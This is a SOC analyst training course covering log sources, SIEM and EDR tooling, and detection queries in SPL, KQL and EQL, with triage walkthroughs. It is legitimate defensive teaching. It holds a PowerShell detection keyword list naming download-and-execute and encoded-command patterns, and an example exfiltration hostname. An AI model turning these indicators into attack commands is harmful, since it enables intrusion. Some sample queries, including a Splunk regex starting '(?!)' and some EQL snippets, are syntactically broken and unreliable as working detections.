

THE COMPLETE

SOC ANALYST COURSE

A Practical, Real-World Guide to Security Operations

Detection • Triage • Incident Response • Threat Hunting • Home Lab

Compiled for: Abhirup Payne | Cyber Security Student

Level: Networking & Security Fundamentals → Job-Ready SOC Analyst

TABLE OF CONTENTS

Introduction — Why SOCs Exist, and Why This Course Is Different	5
Chapter 1 — SOC Fundamentals — Tiers, Roles & the Analyst Workflow	7
Chapter 2 — Networking & Protocol Refresher for Analysts	12
Chapter 3 — The SOC Tool Stack — SIEM, EDR, IDS/IPS, NDR, SOAR	17
Chapter 4 — Log Sources & Log Analysis	23
Chapter 5 — Detection Engineering — Correlation Rules & Queries	30
Chapter 6 — Alert Triage: The Analyst's Core Skill	37
Chapter 7 — The Cyber Kill Chain & MITRE ATT&CK; in Practice	42
Chapter 8 — Practical Case Studies — Real Investigations Walkthrough	47
Chapter 9 — Incident Response — From Detection to Lessons Learned	58
Chapter 10 — Threat Intelligence for SOC Analysts	64
Chapter 11 — Threat Hunting Fundamentals	68
Chapter 12 — SOC Metrics, Reporting & Communication	72
Chapter 13 — Build Your Own Home SOC Lab	75
Chapter 14 — Career Roadmap, Certifications & Interview Prep	80
Appendix — Cheat Sheets — Ports, Event IDs, ATT&CK;, Queries	84

Note: page numbers are approximate section markers within this document; use your PDF reader's search or bookmarks to jump directly to a chapter title.

INTRODUCTION

Why SOCs Exist, and Why This Course Is Different

Every organisation with a network is being probed, scanned, and attacked around the clock. A Security Operations Center (SOC) is the team and the technology stack that watches that network continuously, decides which of the thousands of daily alerts actually matter, and responds before a nuisance becomes a breach. This course is built for someone who already understands the basics of networking and security and now wants to become the person sitting at that desk — reading logs, triaging alerts, and writing incident reports that hold up under scrutiny.

Most SOC material online is either pure theory (definitions with no logs to look at) or a random tool tutorial with no context. This course deliberately inverts that ratio: theory is kept short and sharp, and every concept is immediately followed by a real, worked example — a log line, a query, an alert, or a full case study you can practice on. You will see two recurring boxes throughout:

■ PRACTICAL EXERCISE — Practical Exercise

Hands-on tasks you can do right now, usually inside a free home lab (covered fully in Chapter 13), to convert reading into muscle memory.

■ REAL-WORLD SCENARIO — Real-World Scenario

Composite incidents modelled on patterns that repeatedly show up in public breach reports and SOC case studies — written as investigation walkthroughs, not just descriptions.

How to use this course

- Read Chapters 1–4 first even if some of it feels basic — they set the vocabulary every later chapter depends on.
- Build the home lab in Chapter 13 **early**, in parallel with Chapter 4 onward, so every query and log example can be reproduced on your own machine.
- Chapter 8 (Practical Case Studies) is the core of the course. Do not just read it — re-derive the conclusions yourself before reading the analyst's reasoning.
- Keep the Appendix cheat sheets open in a second window while you work; they are designed for lookup, not linear reading.

What you will be able to do by the end

- Triage a raw alert queue and correctly prioritise using severity, asset value, and kill-chain stage.
- Read and pivot through Windows Event Logs, Sysmon, firewall, proxy, and DNS logs without a cheat sheet.
- Write detection logic in SPL (Splunk), KQL (Microsoft Sentinel), and Elastic Query DSL / EQL.
- Run a full incident from detection through containment, eradication, recovery, and a lessons-learned report.

- Map adversary behaviour to MITRE ATT&CK; techniques and use that mapping to hunt proactively.
- Speak confidently in a SOC Analyst interview about real investigations you have practiced, not just concepts you have read.



CHAPTER 1

SOC Fundamentals — Tiers, Roles & the Analyst Workflow

A SOC is not one job — it is a pipeline of people and tools organised in tiers, each with a narrower and deeper job than the one before it. Understanding this pipeline tells you exactly what is expected of you at each stage of your career and why the handoffs between tiers are where most real-world mistakes happen.

1.1 The Tiered Model

Tier	Common Title	Core Job	Typical Output
Tier 1	SOC Analyst / Triage Analyst	Monitor the alert queue, perform first-pass triage, close false positives, escalate real threats	Triage notes, escalation ticket
Tier 2	Incident Responder / Senior Analyst	Deep investigation of escalated alerts, scoping, containment actions	Incident timeline, containment record
Tier 3	Threat Hunter / Detection Engineer	Proactive hunting, writing new detection rules, malware/forensic analysis	New detection rules, hunt reports
Tier 4	SOC Manager / CISO liaison	Process ownership, metrics, stakeholder communication, tooling strategy	KPI reports, roadmap

■ ANALYST NOTE — This course is Tier-1-to-Tier-2 focused

Chapters 1–9 build a rock-solid Tier 1/2 skillset. Chapters 10–11 introduce Tier 3 concepts (threat intel and hunting) because every good Tier 1 analyst should understand where their escalations end up and why.

1.2 A Day in the Life of a Tier-1 Analyst

SOCs run in shifts — commonly 8-hour or 12-hour rotations, staffed to guarantee 24/7/365 coverage (referred to as “follow-the-sun” when spread across global offices). A typical shift looks like this:

- Shift handover (10–15 min):** read the outgoing analyst's handover notes — open incidents, any ongoing attack campaigns, maintenance windows, and known noisy alerts to expect.
- Queue triage:** work the alert queue in priority order (Critical → High → Medium → Low), not first-in-first-out. A Low alert from three hours ago waits behind a Critical alert that just fired.
- Investigate each alert:** pull context — asset owner, user's normal behaviour, related logs, threat intel on any IOC — then decide: close as false positive / benign, escalate to Tier 2, or (if you're empowered to) begin containment yourself.

- 4 **Document everything:** every decision goes in the ticket with reasoning, not just “closed — fp”. The next analyst, an auditor, or a lawyer may read this ticket months later.
- 5 **Proactive tasks between alerts:** tuning noisy rules, reviewing threat intel bulletins, small hunts.
- 6 **End-of-shift handover:** write the notes you wished you'd received at the start of your shift.

■ REAL-WORLD SCENARIO — The cost of a bad handover

In several public post-incident reviews of large breaches, attackers had already triggered alerts on earlier shifts that were closed as “likely false positive, monitor” with no follow-up instruction passed to the next shift. The next analyst saw a similar, seemingly unrelated alert and closed it the same way — losing days of possible early containment. The lesson: a triage decision is only as good as the note that travels with it.

1.3 Core Responsibilities Beyond Alert Queues

- **Log source health:** noticing when a critical log source (domain controller, firewall) silently stops sending data — a common early sign of tampering, and easy to miss if you only watch alerts.
- **Rule tuning:** feeding back to detection engineering when a rule is too noisy (false-positive heavy) or too quiet (missed something it should have caught).
- **Documentation upkeep:** playbooks and runbooks go stale; analysts who use them daily are best placed to flag outdated steps.
- **Compliance evidence:** many SOCs support audits (PCI-DSS, ISO 27001, SOC 2) — your tickets are evidence.

1.4 The Alert Lifecycle LEARN WITH ABHIRUP

Every alert, regardless of the tool that generated it, moves through the same lifecycle. Internalising this flow is more valuable than memorising any single tool's UI.

Stage	What Happens	Analyst Question to Answer
Detection	A rule, signature, or ML model fires on log/telemetry data	What exactly triggered this?
Triage	Analyst gathers context to judge validity and severity	Is this true positive, benign-true, or false positive?
Investigation	Scope is expanded: what else did this asset/user touch?	What is the blast radius?
Containment	Stop the bleeding — isolate host, disable account, block IOC	How do we stop this without destroying evidence?
Eradication & Recovery	Remove the cause, restore normal operation	Is the environment actually clean now?

Stage	What Happens	Analyst Question to Answer
Lessons Learned	Post-incident review, update detections & playbooks	How do we prevent or catch this faster next time?

Chapters 6–9 dedicate an entire deep-dive to each of these stages with real query syntax and worked examples — this table is your map for the rest of the course.

■ PRACTICAL EXERCISE — Exercise 1.1 — Map your own curiosity

Before continuing, write (on paper or in a notes app) three questions you personally still have about how a SOC works day-to-day. Revisit them at the end of the course — if this course is doing its job, all three should be answered with a concrete example, not just a definition.



CHAPTER 2

Networking & Protocol Refresher for Analysts

You already know the OSI model and TCP/IP basics, so this chapter skips the textbook definitions and goes straight to the one question that matters in a SOC: **what does this protocol look like when it is being abused, and where do I see that in a log?**

2.1 Ports & Protocols You Will See Every Shift

Port	Protocol	Why a SOC Analyst Cares
22	SSH	Brute-force target; watch for high-volume auth failures from one source
3389	RDP	Top ransomware entry point; exposed RDP is a critical finding by itself
53	DNS	Data exfiltration & C2 channel via DNS tunneling; DGA domains
80 / 443	HTTP / HTTPS	Most C2 and phishing traffic rides on these; TLS hides payload from network sensors
445	SMB	Lateral movement, worm propagation (e.g. EternalBlue-style techniques)
389 / 636	LDAP / LDAPS	Active Directory recon and enumeration (e.g. BloodHound-style queries)
135 / 5985-5986	RPC / WinRM	Remote command execution, lateral movement
25 / 587	SMTP	Phishing delivery, mail relay abuse, data exfiltration via email

2.2 DNS — the Most Under-Watched Log Source

DNS is frequently allowed outbound with zero restrictions, which makes it a favourite covert channel. Two patterns to recognise instantly:

- **DGA (Domain Generation Algorithm) traffic:** malware queries dozens of algorithmically generated, gibberish-looking domains per hour looking for a live command-and-control server. Long, high-entropy subdomains and a high ratio of NXDOMAIN (non-existent domain) responses are the signature.
- **DNS tunneling:** data is encoded into subdomain labels (e.g. `a8f3d9c1.exfil.attacker.com`) to smuggle data out through what looks like ordinary DNS traffic. Abnormally long queries and unusually high query volume to one domain are the tell.

```
# Example DNS query log line (Zeek/Bro dns.log style, tab-separated fields simplified)
1720771201.552341 10.10.4.55 53212 8.8.8.8 53 udp
query: 7f4a9c2e1b8d3f6a9c0e4b7d2a1f8c3e.updatecheck-cdn.net
qtype: TXT rcode: NXDOMAIN

# Red flags in this single line:
# 1) 32-char hex-looking subdomain -> classic tunneling/DGA shape
# 2) TXT record request -> commonly abused for data tunneling
# 3) NXDOMAIN -> if repeated at volume, algorithm is guessing live C2 domains
```

A single suspicious DNS query rarely proves anything — volume and pattern over time is what confirms tunneling or DGA behaviour.

2.3 HTTP/HTTPS & TLS — Reading What You Can and Can't See

TLS encrypts the payload, but it does not encrypt everything useful to an analyst. Three fields survive in the clear or in metadata, and modern SOC tooling is built around exactly these:

- **SNI (Server Name Indication):** the hostname the client is asking for, sent unencrypted during the TLS handshake — this is how proxies and firewalls can block-by-domain even on HTTPS.
- **JA3 / JA3S fingerprints:** a hash of how the TLS ClientHello is structured. Malware families often reuse the same TLS libraries, giving them a consistent, identifiable JA3 fingerprint regardless of the domain or IP they use that day.
- **Certificate metadata:** self-signed certs, very recently issued certs, or certs issued for nonsensical domain names are common in fast-flux C2 infrastructure.

■ PRACTICAL EXERCISE — Exercise 2.1 — Read a real proxy log

In your lab (Chapter 13), generate outbound HTTPS traffic and open the proxy/firewall log. Identify the SNI field for three different sites you visited. Then visit a site using a self-signed certificate (many lab C2 frameworks default to this) and compare what changes in the log.

2.4 SMB & Lateral Movement Fundamentals

SMB (port 445) is how Windows machines share files and, critically, how many post-exploitation tools move between hosts (copying tools, executing remote commands via named pipes). A sudden burst of SMB connections from a single workstation to many other workstations — rather than to a server — is one of the highest-value lateral movement indicators a SOC can alert on, because normal users' machines almost never talk to each other directly over SMB.

2.5 A Minimal Packet Capture Vocabulary

You do not need to be a full packet-analysis specialist, but every analyst should be comfortable reading a small pcap in Wireshark and filtering efficiently:

```
tcp.port == 445 && ip.addr == 10.10.4.55      # SMB traffic to/from a suspect host
dns.qry.name contains "update"                # DNS queries mentioning a keyword
tls.handshake.extensions_server_name == "x.com" # Filter by SNI
http.request.method == "POST" && ip.dst == 1.2.3.4 # Outbound POSTs to a suspect IP
tcp.flags.syn == 1 && tcp.flags.ack == 0        # New connection attempts only (scan detection)
```

Core Wireshark display filters worth memorising — you will type these dozens of times a week.



CHAPTER 3

The SOC Tool Stack — SIEM, EDR, IDS/IPS, NDR, SOAR

Tool names change constantly, but the **categories** of tool and the job each category does have been stable for over a decade. Learn the categories deeply and you can pick up any specific vendor product in days. This course uses examples from Splunk, the Elastic Stack (ELK) / Wazuh, and Microsoft Sentinel throughout — not because you need all three, but because query syntax differs and reading all three makes you dangerous in a job market where employers use different stacks.

3.1 SIEM — Security Information and Event Management

A SIEM ingests logs from everywhere (endpoints, servers, firewalls, cloud, identity providers), normalises them into a common schema, stores them searchably, and runs correlation rules across them. It is the analyst's primary workspace.

Platform	Query Language	Typical Deployment
Splunk	SPL (Search Processing Language)	On-prem or Splunk Cloud; dominant in large enterprises
Elastic (ELK) / Wazuh	Elastic Query DSL, EQL, KQL(Kibana)	Free/open-source friendly; Wazuh adds built-in EDR-style agents
Microsoft Sentinel	KQL (Kusto Query Language)	Cloud-native, deep Azure/M365 integration

The exact same question — “show me failed logon attempts by account in the last hour, grouped by source IP” — looks like this in each:

```
# Splunk (SPL)
index=windows EventCode=4625
| stats count by src_ip, Account_Name
| where count > 5

# Elastic (Kibana Query Language + aggregation, conceptually via EQL)
sequence by winlog.event_data.TargetUserName
[authentication where event.outcome == "failure"] with maxspan=1h
| stats count() by source.ip

# Microsoft Sentinel (KQL)
SecurityEvent
| where EventID == 4625
| summarize FailCount = count() by IPAddress, Account
| where FailCount > 5
```

Same detection logic, three syntaxes. Notice the shared shape: filter → group → threshold.

3.2 EDR — Endpoint Detection and Response

EDR agents run on individual endpoints (workstations, servers) and give visibility the network alone cannot: process creation, parent-child process relationships, command-line arguments, file writes, registry changes, and memory-level behaviour. Common products: CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne, Wazuh (open-source, agent-based).

■ ANALYST NOTE — The single most valuable EDR data point

Process **parent-child lineage**. winword.exe spawning powershell.exe spawning cmd.exe is almost never legitimate — it is the classic signature of a malicious macro executing a payload. Learn to read process trees before learning any specific EDR product's UI.

3.3 IDS/IPS — Intrusion Detection / Prevention Systems

Network-based sensors (Snort, Suricata, or built into next-gen firewalls) that inspect traffic against signatures and behavioural rules. IDS alerts; IPS can additionally block in-line. A typical Suricata rule:

```
alert tcp any any -> $HOME_NET 445 (msg:"ET EXPLOIT Possible SMB \
Buffer Overflow Attempt"; flow:established,to_server; \
content:"|ff|SMB"; offset:4; depth:4; \
content:"|00 00 00|"; distance:0; \
threshold: type limit, track by_src, count 1, seconds 60; \
classtype:attempted-admin; sid:2019123; rev:2;)
```

Structure to notice: match conditions, a threshold to reduce noise, and a classification/severity tag (classtype).

3.4 NDR — Network Detection and Response

Where IDS/IPS is signature-heavy, NDR platforms (e.g. Darktrace, Corelight/Zeek-based stacks, ExtraHop) baseline “normal” network behaviour per-asset and flag statistical deviations — useful for catching novel attacks that have no existing signature, at the cost of more tuning effort.

3.5 SOAR — Security Orchestration, Automation and Response

SOAR platforms (Splunk SOAR/Phantom, Microsoft Sentinel Playbooks, Cortex XSOAR) let a SOC codify a playbook into an automated workflow: when Alert X fires, automatically enrich the IOC against threat intel, open a ticket, and if confidence is high enough, auto-isolate the host — all before a human even looks at it. This is how mature SOCs handle volume without linearly adding headcount.

```
# Simplified SOAR playbook logic (pseudocode)
on_alert("suspicious_powershell_download"):
    ioc = extract_ioc(alert)
    rep = threat_intel.lookup(ioc)           # enrich automatically
    if rep.malicious_score > 80:
        edr.isolate_host(alert.host)        # auto-contain
        ticketing.create(priority="Critical", assignee="Tier2")
    else:
        ticketing.create(priority="Medium", assignee="Tier1_Queue")
```

SOAR turns a repeatable human triage decision into deterministic, instant, 24/7 automation.

3.6 Ticketing & Case Management

Every SOC needs a system of record — ServiceNow, Jira, TheHive, or a SOAR's built-in case module. The specific tool matters far less than the discipline of writing clear, timestamped, evidence-linked notes; Chapter 6 shows exactly what a good ticket looks like.

3.7 How the Stack Fits Together

A realistic alert flow touches almost every category above in sequence:

- 1 A phishing email delivers a malicious attachment — detected by the **email security gateway**.
- 2 The user opens it anyway; **EDR** sees Word spawn PowerShell and alerts.
- 3 PowerShell reaches out to a C2 domain; the **SIEM** correlates the EDR alert with a DNS log hit on a domain flagged by **threat intel**.
- 4 A **SOAR** playbook auto-enriches the IOC, opens a Critical ticket, and isolates the host via EDR.
- 5 A Tier-1 analyst confirms in the ticket, a Tier-2 analyst scopes lateral movement using **NDR/SIEM**, and containment/eradication proceeds per the IR process (Chapter 9).

CHAPTER 4

Log Sources & Log Analysis

If Chapter 3 was about where alerts come from, this chapter is about the raw material underneath every alert: the logs themselves. An analyst who can read raw logs is never fully dependent on a vendor's pre-built alert description — they can verify, extend, and challenge it.

4.1 Windows Event Logs — the Backbone of Enterprise Detection

Windows Security, System, and Application event logs are identified by Event ID. A small set of IDs account for the overwhelming majority of detection value:

Event ID	Name	Why It Matters
4624	Successful Logon	Baseline for normal activity; check Logon Type (3=network, 10=RDP, 2=interactive)
4625	Failed Logon	Brute-force and password-spray detection; watch volume per account/source
4634/4647	Logoff	Session duration analysis
4672	Special privileges assigned	Admin-equivalent logon — high value to correlate with 4624
4688	New Process Created	Core of process-based detection; needs command-line auditing enabled
4720	User account created	New local/domain account — common persistence technique
4732/4728	Member added to security-enabled group	Privilege escalation via group membership
4738	User account changed	Password reset, account modification — abuse for persistence
4697	Service installed	Classic persistence & lateral movement (PsExec-style) indicator
1102	Audit log cleared	Extremely high-signal — attackers clearing tracks
5140/5145	Network share accessed	Lateral movement via SMB share access

■ ANALYST NOTE — 4688 is useless without command-line auditing

By default, Event ID 4688 logs that a process started but not *what arguments* it was given. You must enable “Include command line in process creation events” via Group Policy (Administrative Templates → System → Audit Process Creation) or the log tells you powershell.exe started, but not that it was launched with an encoded, obfuscated malicious command — which is the entire point of catching it.

4.2 Sysmon — Filling Windows' Native Gaps

Sysinternals Sysmon is a free Microsoft tool that logs far richer telemetry than native Windows auditing: full process trees with hashes, network connections per process, file creation, registry modification, and named pipe creation. Every serious home lab and every serious enterprise SOC runs it.

```
<!-- Sysmon config snippet: capture PowerShell & cmd network connections -->
<NetworkConnect onmatch="include">
  <Image condition="end with">powershell.exe</Image>
  <Image condition="end with">cmd.exe</Image>
</NetworkConnect>

<!-- Example resulting Sysmon Event ID 3 (Network Connection) -->
Event ID: 3   UtcTime: 2026-03-14 09:12:41
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
User: CORP\j.mehta
DestinationIp: 185.220.101.47   DestinationPort: 443
Initiated: true
```

Sysmon Event ID 3 tells you exactly which process opened which connection — something native Windows logging cannot do at all.

LEARN WITH ABHIRUP

Sysmon Event ID	Meaning	Detection Use
1	Process creation	Full command line + parent process + hash
3	Network connection	Which process made an outbound connection, to where
7	Image/DLL loaded	DLL sideloading and injection detection
8	CreateRemoteThread	Classic process injection technique
11	File created	Ransomware note drops, payload staging
12/13/14	Registry event	Persistence via Run keys, services
22	DNS query	Process-level DNS visibility — which .exe resolved which domain

4.3 Firewall Logs

Even a basic stateful firewall log gives five-tuple visibility (source IP, source port, destination IP, destination port, protocol) plus allow/deny action — enough to spot scanning, unexpected outbound destinations, and policy violations.

```
# Example firewall log line (syslog-style, common format)
<134>Mar 14 09:14:02 fw01 %ASA-6-106100: access-list OUTBOUND permitted
tcp inside/10.10.4.55(51321) -> outside/185.220.101.47(443) hit-cnt 1

# Key fields to extract:
# src=10.10.4.55 dst=185.220.101.47 dport=443 action=permitted
```

A single permitted connection means little alone; volume, destination reputation, and beaconing interval (Chapter 8) is where the signal lives.

■ REAL-WORLD SCENARIO — Beaconing hides in plain sight

A workstation quietly making an HTTPS connection to the same external IP every 58–62 seconds, 24 hours a day, including at 3 AM when the user is asleep, is a textbook C2 beacon. No single connection in a firewall log looks suspicious — the tell is the machine-like regularity of the interval, which is exactly what beaconing-detection analytics (and Chapter 8's Case Study 3) are built to surface.

4.4 Proxy Logs

Web proxies (Zscaler, Blue Coat/Symantec, Squid) log every HTTP/HTTPS request with URL/SNI, category, user, bytes transferred, and action.

```
# Example proxy log (Squid access.log style, simplified)
1720771205.812 312 10.10.4.55 TCP_MISS/200 48213
GET https://update-cdn7-secure.net/pkg/update.bin
- HIER_DIRECT/185.220.101.47 application/octet-stream
```

An .bin download from a domain that is one week old (checked via WHOIS/threat intel) to a workstation that has never contacted it before is a strong combined signal.

4.5 DHCP & Identity Logs

DHCP logs map IP-to-MAC-to-hostname over time — essential because IP addresses in other logs are meaningless without knowing which machine held that IP *at that exact timestamp*, especially in environments with short DHCP leases. Identity provider logs (Azure AD / Entra ID sign-in logs, Okta System Log) add impossible-travel and MFA-fatigue detection for cloud identities.

```
# Azure AD sign-in log (simplified JSON)
{
  "userPrincipalName": "j.mehta@corp.com",
  "ipAddress": "103.21.244.10",
  "location": {"city": "Kolkata", "countryOrRegion": "IN"},
  "status": {"errorCode": 0},
  "mfaDetail": {"authMethod": "PhoneAppNotification", "authResult": "success"},
  "createdDateTime": "2026-03-14T03:41:12Z"
}
# Ten minutes later, same account signs in successfully from Frankfurt, Germany.
# Physically impossible travel time -> classic "impossible travel" alert.
```

Impossible-travel logic is one of the highest-precision, lowest-effort detections available in any cloud-identity-backed SOC.

4.6 Normalisation: Why Every SIEM Talks About a “Common Schema”

Elastic uses the Elastic Common Schema (ECS); Splunk uses the Common Information Model (CIM); Sentinel leans on Advanced Security Information Model (ASIM). All three solve the same problem: a Windows log calls the attacker's IP `IpAddress`, a firewall calls it `src`, and a proxy calls it `c-ip`. Normalisation maps them all to one field (e.g. `source.ip`) so a single correlation rule can search across every log source at once. Never assume raw field names are consistent across sources until you have checked the schema mapping.

■ PRACTICAL EXERCISE — Exercise 4.1 — Build a mini timeline

In your lab, trigger three events in order: a failed RDP logon (4625), then a successful one (4624 Logon Type 10), then a new process creation (4688/Sysmon 1) from that session. Pull all three log lines into one place ordered by timestamp — this manual exercise is exactly what a SIEM correlation search automates in Chapter 5.

CHAPTER 5

Detection Engineering — Correlation Rules & Queries

A correlation rule turns “raw logs” into “alerts” by expressing a pattern of interest as a query that runs continuously or on a schedule. Writing good rules is a distinct skill from writing any single query — it requires thinking about volume, false-positive rate, and evasion up front.

5.1 The Anatomy of a Good Detection Rule

- **Data source(s):** exactly which logs feed it, and confirmation that they are reliably ingested.
- **Logic:** the filter/aggregation/threshold that defines “suspicious”.
- **Threshold & time window:** almost every good rule has both — “5 failed logons” means nothing without “in 2 minutes” attached.
- **Severity & confidence:** how sure are we, and how bad is it if true?
- **Suppression / allow-list:** known-good exceptions (a backup service account that legitimately fails auth on schedule) to keep noise down.
- **Mapped ATT&CK; technique:** ties the rule to a specific adversary behaviour (Chapter 7).

5.2 Worked Example: Brute-Force / Password-Spray Detection

Brute force = many attempts against one account from one source. Password spray = a few attempts against *many* accounts from one source, evading per-account lockout thresholds. Same event ID, opposite grouping logic:

```
# --- SPL (Splunk): classic brute force ---
index=windows EventCode=4625
| bin _time span=5m
| stats count by _time, src_ip, Account_Name
| where count >= 10

# --- SPL (Splunk): password spray (note the grouping is by src_ip only) ---
index=windows EventCode=4625
| bin _time span=10m
| stats dc(Account_Name) as distinct_accounts count by _time, src_ip
| where distinct_accounts >= 8 AND count >= 8

# --- KQL (Microsoft Sentinel): password spray ---
SigninLogs
| where ResultType != "0"
| summarize FailedAccounts = dc(UserPrincipalName), Attempts = count()
  by bin(TimeGenerated, 10m), IPAddress
| where FailedAccounts >= 8 and Attempts >= 8

# --- Elastic Query DSL (conceptual, via EQL for sequence matching) ---
sequence by source.ip with maxspan=10m
[authentication where event.outcome == "failure"] with runs=8
| unique_count user.name >= 8
```

The pivot from 'group by account' to 'group by source, count distinct accounts' is the entire trick that turns brute-force logic into spray logic.

5.3 Worked Example: Beaconing / C2 Detection

Beaconing detection is fundamentally a time-series regularity problem, not a signature-match problem. The approach: bucket outbound connections per destination and measure how consistent the interval is.

```
# --- SPL (Splunk): approximate beacon detection via interval variance ---
index=firewall action=allowed dest_port=443
| streamstats current=f last(_time) as last_time by dest_ip
| eval gap = _time - last_time
| stats count avg(gap) as avg_gap stdev(gap) as stdev_gap by src_ip, dest_ip
| eval coeff_var = stdev_gap / avg_gap
| where count > 20 AND coeff_var < 0.15
# Low coefficient of variation = highly regular timing = likely beacon
```

A coefficient of variation near 0 means the connection interval barely changes — machines are that regular; humans browsing are not.

■ ANALYST NOTE — Why analysts still confirm beacons manually

Legitimate software beacons too — update checkers, telemetry clients, NTP-like services. A beaconing alert is a strong lead, not proof. The confirming steps are: is the destination newly registered or known-bad in threat intel, does the process making the connection make sense (svchost.exe doing this is normal; powershell.exe doing this is not), and is the payload size pattern consistent with C2 check-ins (small, regular) rather than legitimate downloads.

5.4 Worked Example: Suspicious PowerShell

PowerShell is both the SOC's best friend (rich native logging via Script Block Logging, Event ID 4104) and attackers' favourite living-off-the-land tool. Detection focuses on obfuscation and dangerous cmdlets rather than PowerShell use itself, since blanket-alerting on all PowerShell is unusably noisy.

```
# --- KQL (Sentinel): encoded/obfuscated PowerShell command line ---
DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any (
    "-enc", "-EncodedCommand", "-nop", "-w hidden", "-windowstyle hidden",
    "IEX", "DownloadString", "FromBase64String")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

# --- SPL (Splunk): same logic against Sysmon Event ID 1 ---
index=sysmon EventCode=1 Image="*powershell.exe"
| regex CommandLine="(?!)(\\-enc|\\-encodedcommand|downloadstring|frombase64string|iex\\s*\\
())"
| table _time, host, User, CommandLine
```

Base64-encoded (-enc) PowerShell is one of the highest-precision single indicators available: legitimate admin scripts almost never need it.

5.5 Tuning: The Never-Ending Job

A rule shipped on day one is never the rule running six months later. Detection engineering is a feedback loop:

- 1 Deploy rule in *monitor-only* / *low-severity* mode first.
- 2 Collect a week or two of hits; have Tier 1 triage every single one and tag true/false positive.
- 3 Add suppressions for confirmed benign patterns (a known backup job, a vulnerability scanner's IP).
- 4 Promote to full severity once false-positive rate is acceptable for your SOC's capacity.
- 5 Revisit quarterly — environments change, and rules silently rot as new legitimate tools appear.

■ PRACTICAL EXERCISE — Exercise 5.1 — Break your own rule

Take the password-spray query above and think like an attacker: how would you evade the 10-minute, 8-account threshold? (Hint: what happens if you space attempts 11 minutes apart, or attack only 6 accounts at a time?) Write down two evasions, then write an improved rule that closes at least one of them. This adversarial mindset is exactly what separates a detection engineer from someone copy-pasting rules from GitHub.

CHAPTER 6

Alert Triage: The Analyst's Core Skill

If detection engineering (Chapter 5) is about generating the right alerts, triage is about correctly judging them under time pressure with incomplete information — the single skill that most distinguishes a strong Tier-1 analyst from a weak one.

6.1 The Triage Decision Tree

- **False Positive:** the rule fired but nothing suspicious actually happened (e.g. a vulnerability scanner tripped an IDS signature). Close with a clear reason and, if recurring, feed back for tuning.
- **Benign True Positive:** the activity genuinely happened and matches the rule, but it is expected and authorised (e.g. an admin's legitimate PsExec use during patching). Close with the justification and evidence you checked (e.g. change ticket number).
- **True Positive — needs escalation:** real, unauthorised, and above your authority/tooling to fully resolve. Escalate with a complete triage summary, not a half-finished one.

6.2 The 5-Question Triage Framework

Question	Why It Matters
Who/what is the asset?	A domain controller alert and a guest-wifi laptop alert are not equally urgent.
What exactly fired, and on what evidence?	Read the raw log, don't just trust the alert title.
Is this normal for this user/asset?	Baseline matters more than the event in isolation.
Is there supporting or contradicting evidence elsewhere?	Check EDR, DNS, proxy, threat intel for the same timeframe.
What is the worst-case if this is real?	Drives your prioritisation and escalation urgency.

6.3 A Real Triage Walkthrough

■ REAL-WORLD SCENARIO — Alert: “Multiple failed logons followed by success”

Raw alert: account svc-backup, 14 failed 4625 events over 90 seconds from 10.10.6.12, followed by one 4624 success. **Step 1** — asset check: 10.10.6.12 is the backup server, a known, high-privilege service account. **Step 2** — baseline check: this account normally logs on cleanly once nightly at 2 AM; this alert fired at 2:00:47 AM, consistent with a backup job retry pattern, not an attacker. **Step 3** — corroboration: no new process creation, no outbound connection to an unusual destination in the following ten minutes. **Conclusion:** closed as Benign True Positive — backup service retrying after a transient network blip, evidenced by ticket reference to a known intermittent link issue. Contrast this with the same alert pattern on a normal user's laptop at 3 AM with no scheduled task justification — identical alert, opposite conclusion, because the context differs completely.

6.4 Writing a Ticket That Actually Helps the Next Person

A good triage note is reproducible: another analyst (or you, six months later) should be able to reach the same conclusion from your notes alone, without re-running every query.

```
TICKET #48213 | Severity: Medium -> Closed (Benign True Positive)
Alert: Multiple failed logons followed by success (EventID 4625 x14, then 4624)
Asset: BACKUP-SRV01 (10.10.6.12) | Account: svc-backup
Timeframe: 2026-03-14 02:00:12 - 02:00:47 UTC

Findings:
- Baseline: svc-backup authenticates nightly ~02:00 UTC per scheduled backup job (CHG-98 12)
- Corroboration: no new process creation (Sysmon EID1) or unusual outbound connections (firewall log, port 443/445) in the 15 min window following success
- Root cause: transient link flap on WAN circuit (NOC ticket NET-5541), consistent with retry pattern

Conclusion: Benign True Positive - service account retry behavior, not malicious.
Action: No containment needed. Recommend suppression rule for svc-backup + BACKUP-SRV01 combination between 01:55-02:10 UTC to reduce future noise. Escalated tuning request to Detection Engineering (JIRA DE-773).
Analyst: A. Payne | Reviewed: -
```

Notice: every conclusion is backed by a specific piece of evidence, and the ticket ends with a concrete next action, not just a status change.

■ PRACTICAL EXERCISE — Exercise 6.1 — Triage under ambiguity

Write a one-paragraph triage note for this alert: an internal marketing laptop makes a single DNS query for a domain flagged Medium-confidence by threat intel, at 11:40 AM on a weekday, with no further activity in the next hour. What would you check before deciding, and what's your default call if those checks come back clean?

CHAPTER 7

The Cyber Kill Chain & MITRE ATT&CK; in Practice

Frameworks give triage and investigation a shared vocabulary. The two you will use daily are Lockheed Martin's Cyber Kill Chain (attack as a linear sequence of stages) and MITRE ATT&CK; (a detailed, continuously updated catalogue of specific adversary techniques observed in the real world).

7.1 The Cyber Kill Chain

Stage	What the Attacker Does	A SOC Signal at This Stage
Reconnaissance	Scans, OSINT, harvesting emails	Port scan alerts, unusual external scanning of your ranges
Weaponization	Builds the malicious payload (off-network, invisible to you)	n/a — happens before it touches you
Delivery	Phishing email, malicious link, USB, watering-hole site	Email gateway detections, suspicious download alerts
Exploitation	Payload executes / vulnerability is triggered	EDR process creation alerts, crash/exploit signatures
Installation	Persistence mechanism installed	New service, new Run key, new scheduled task (Event ID 4697, Sysmon 12/13)
Command & Control	Beaconing to attacker infrastructure	Beaconing detection (Chapter 5.3), DNS tunneling
Actions on Objectives	Data theft, ransomware deployment, sabotage	Mass file encryption events, large outbound transfers, admin group changes

■ ANALYST NOTE — Why 'earlier is always better'

Every stage you catch the attacker at buys exponentially more time and less damage than the next. An analyst who only ever catches Actions on Objectives (e.g. ransomware notes appearing) is catching the attack at its most expensive possible point. The entire purpose of Chapters 4–6 is to move your detections as far left (earlier) on this chain as possible.

7.2 MITRE ATT&CK; — The Adversary's Playbook, Catalogued

ATT&CK; organises real-world adversary behaviour into Tactics (the “why” — the attacker's goal at that moment) and Techniques/Sub-techniques (the “how” — the specific method). Unlike the linear Kill Chain,

ATT&CK; is a matrix — an attacker can jump between tactics non-linearly.

